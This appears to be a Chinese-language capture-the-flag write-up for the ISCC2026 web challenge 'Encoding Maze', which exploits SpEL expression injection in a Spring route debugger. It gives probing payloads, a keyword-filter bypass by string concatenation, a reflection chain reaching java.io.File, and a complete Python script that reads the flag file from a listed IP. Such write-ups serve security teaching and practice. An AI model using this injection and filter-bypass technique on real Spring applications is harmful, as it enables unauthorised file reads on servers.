WEB-编码迷宫
ISCC2026 WriteUp 提交模板
WEB-编码迷宫
解题思路

首页是一个 Spring Route Debugger,前端会把输入直接拼到:
/api/route?expr=
先做几个最小测试:
1%2B2返回3''.class.name返回java.lang.StringT(java.lang.Math).abs(-3)报类型不可用
这说明后端确实在拿 expr 做 SpEL 求值,但静态类型入口被限制了,只能继续从现成对象往外摸。
关键点有两个:
- 页面里那句“不要编码 payload”基本是误导,像
+这种符号不编码反而会被当成空格。 - 服务端会拦截明文
read,但不会拦截运行时拼出来的属性名,所以可以写成['re'+'adAllBytes']。
先从 ''.class.module.class.declaredMethods[6].returnType.declaredMethods[58].parameterTypes[1] 拿到 java.io.File,再顺着根目录往下找:
/
├── app
├── flag
└── flag.txt
所以最终读取链是:
''.class.module.class.declaredMethods[6].returnType.declaredMethods[58].parameterTypes[1]
.listRoots[0].listFiles[20]
.toURI.toURL.getContent['re'+'adAllBytes']
ISCC{SpEL_D0ubl3_Enc0d1ng_Bypass_202605}

Exp
import requests
from urllib.parse import quote
BASE = "http://39.105.213.28:12603/api/route?expr="
FILE_CLASS = "''.class.module.class.declaredMethods[6].returnType.declaredMethods[58].parameterTypes[1]"
ROOT = FILE_CLASS + ".listRoots[0]"
def req(expr: str) -> str:
return requests.get(BASE + quote(expr, safe=""), timeout=10).text.strip()
root_len = int(req(ROOT + ".listFiles.length"))
flag_file = None
for i in range(root_len):
name = req(f"{ROOT}.listFiles[{i}].name")
if name == "flag":
flag_file = f"{ROOT}.listFiles[{i}]"
break
if flag_file is None:
raise RuntimeError("flag not found")
length = int(req(flag_file + ".toURI.toURL.getContent['re'+'adAllBytes'].length"))
data = bytearray()
for i in range(length):
b = int(req(flag_file + f".toURI.toURL.getContent['re'+'adAllBytes'][{i}]"))
data.append(b & 0xFF)
print(data.decode())

浙公网安备 33010602011771号